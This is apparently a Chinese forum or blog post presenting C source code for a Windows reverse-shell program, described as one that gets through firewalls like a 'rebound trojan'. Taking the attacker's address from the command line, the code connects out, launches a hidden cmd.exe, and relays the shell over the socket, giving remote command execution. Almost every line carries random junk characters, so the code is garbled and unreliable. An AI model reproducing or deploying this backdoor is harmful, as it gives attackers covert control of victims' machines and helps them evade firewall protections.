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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]-#/wC[$l=  
0~$9z+S  
/* ============================== Nes|4Z<  
Rebound port in Windows NT 4pXY7+e2'  
By wind,2006/7 RZpjr !R  
===============================*/ R{A$|Ipaq  
#include JleClB(2n/  
#include qrw*?6mSQ  
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#pragma comment(lib,"wsock32.lib") *zweZG8:  
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void OutputShell(); .c<U5/  
SOCKET sClient; R1Rk00Ow:  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; _/P;`@  
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void main(int argc,char **argv) =m (u=|N3  
{ rBL2A  
WSADATA stWsaData; kP('X/  
int nRet; tuwlsBV  
SOCKADDR_IN stSaiClient,stSaiServer; `:r-&QdU o  
&DYC3*)Jih  
if(argc != 3) '*`n"cC:  
{ pl,XS6mB  
printf("Useage:\n\rRebound DestIP DestPort\n"); j&S.k  
return; @Q ~; @M  
} yG~Vvpv  
X[<#B5  
WSAStartup(MAKEWORD(2,2),&stWsaData); M9Sj@ww  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \A\?7#9\  
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stSaiClient.sin_family = AF_INET; qu $FpOJ  
stSaiClient.sin_port = htons(0); kl1Q:  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); "Zn nb*pOM  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _M7|:*  
{ M"K$.m@t  
printf("Bind Socket Failed!\n"); d<=!*#q;o  
return; /03 Wst  
} P>~Usuf4  
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stSaiServer.sin_family = AF_INET; yF|yZ{  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 2'W# x  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); q%A>q ;l:  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) HXdo:#xEO  
{ tNZZCdB  
printf("Connect Error!"); <Mo{o2F=  
return; UHfE.mTjM  
} _N|A I"sj.  
OutputShell(); w0sy@OF  
}  C. uv0  
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void OutputShell()  rB(Q)N  
{ A -8]4p::  
char szBuff[1024]; }>,%El/  
SECURITY_ATTRIBUTES stSecurityAttributes; VpbJe@*D  
OSVERSIONINFO stOsversionInfo; r0&LjH&R  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (C`nBiL<  
STARTUPINFO stStartupInfo; %t9Kc9u3p  
char *szShell; ^ -~=U^2tC  
PROCESS_INFORMATION stProcessInformation; 2|RxowXZ"  
unsigned long lBytesRead; i[.7 8K-s  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); jL 3 *m  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); D"fjk1  
stSecurityAttributes.lpSecurityDescriptor = 0; k{Y\YG%b  
stSecurityAttributes.bInheritHandle = TRUE; zC[LcC*+J  
}7fzEo`g  
b/#<::D `  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ib]<;t  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); rfgsas{F  
-s0J8b  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); / )[\+Nc  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _q@lP|  
stStartupInfo.wShowWindow = SW_HIDE; e2nZwPH  
stStartupInfo.hStdInput = hReadPipe; [CV0sYEA  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; |D'!.$7%  
F$:mGyl5_  
GetVersionEx(&stOsversionInfo); Q3t%JP>;g  
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switch(stOsversionInfo.dwPlatformId) L5&,sJz  
{ O7&OCo|b%>  
case 1: @ K2Ncb7  
szShell = "command.com"; 5(Q-||J  
break; !+ UXu]kA  
default: RdpOj >fT  
szShell = "cmd.exe"; QqeF   
break; lY |]  
} cZWW[i  
 1&=2"  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); +@@( C9  
bhZ5-wo4%  
send(sClient,szMsg,77,0); \naG  
while(1) #fyY37-  
{ `"iPJw14  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); $K|2k7  
if(lBytesRead) [R~@#I P!  
{ ~ :B/`1[m  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 0R&7vn  
send(sClient,szBuff,lBytesRead,0); '@QK<!%,  
} ]<fZW"W< q  
else }4Gn$'e  
{ *Hh*!ePp  
lBytesRead=recv(sClient,szBuff,1024,0); hH?ke(&=f  
if(lBytesRead<=0) break; _B}QS"A  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); oJ=u pnBn-  
} WCI'Kh   
} PCKxo;bD  
|ew:}e: k<  
return; % <%r  
}
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